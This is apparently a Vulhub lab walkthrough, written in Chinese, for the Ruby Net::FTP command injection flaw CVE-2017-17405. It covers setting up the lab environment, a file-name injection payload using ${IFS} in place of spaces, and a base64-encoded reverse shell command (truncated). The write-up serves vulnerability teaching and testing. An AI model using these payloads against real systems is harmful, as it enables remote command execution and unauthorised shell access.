Ruby Net::FTP 模塊命令注入漏洞(CVE-2017-17405)
Path ruby/CVE-2017-17405
Ruby Net::FTP 模塊是一個FTP客戶端,在上傳和下載文件的過程中,打開本地文件時使用了open函數。而在ruby中,open函數是借用系統命令來打開文件,且沒用過濾shell字符,導致在用戶控制文件名的情況下,將可以注入任意命令。
環境搭建
編譯及運行漏洞環境:
docker-compose build
docker-compose up -d
環境啟動后,訪問http://your-ip:8080/將可以看到一個HTTP服務。這個HTTP服務的作用是,我們訪問http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt,它會從example.com:2121這個ftp服務端下載文件vulhub.txt到本地,并將內容返回給用戶。
漏洞復現
因為這是一個FTP客戶端的漏洞,所以我們需要先運行一個可以被訪問到的服務端。比如使用python:
# 安裝pyftpdlib
pip install pyftpdlib
# 在當前目錄下啟動一個ftp服務器,默認監聽在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
然后即可開始利用漏洞。注入命令|touch${IFS}success.txt(空格用${IFS}代替,原因不表),發送如下數據包即可(其中uri指定的ftp服務器就是我用python運行的一個簡單的ftp server,其中無需放置任何文件):

然后進入docker容器內,可見success.txt已被創建:

執行反彈shell的命令|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}',成功反彈:

Vulhub 文檔
推薦文章: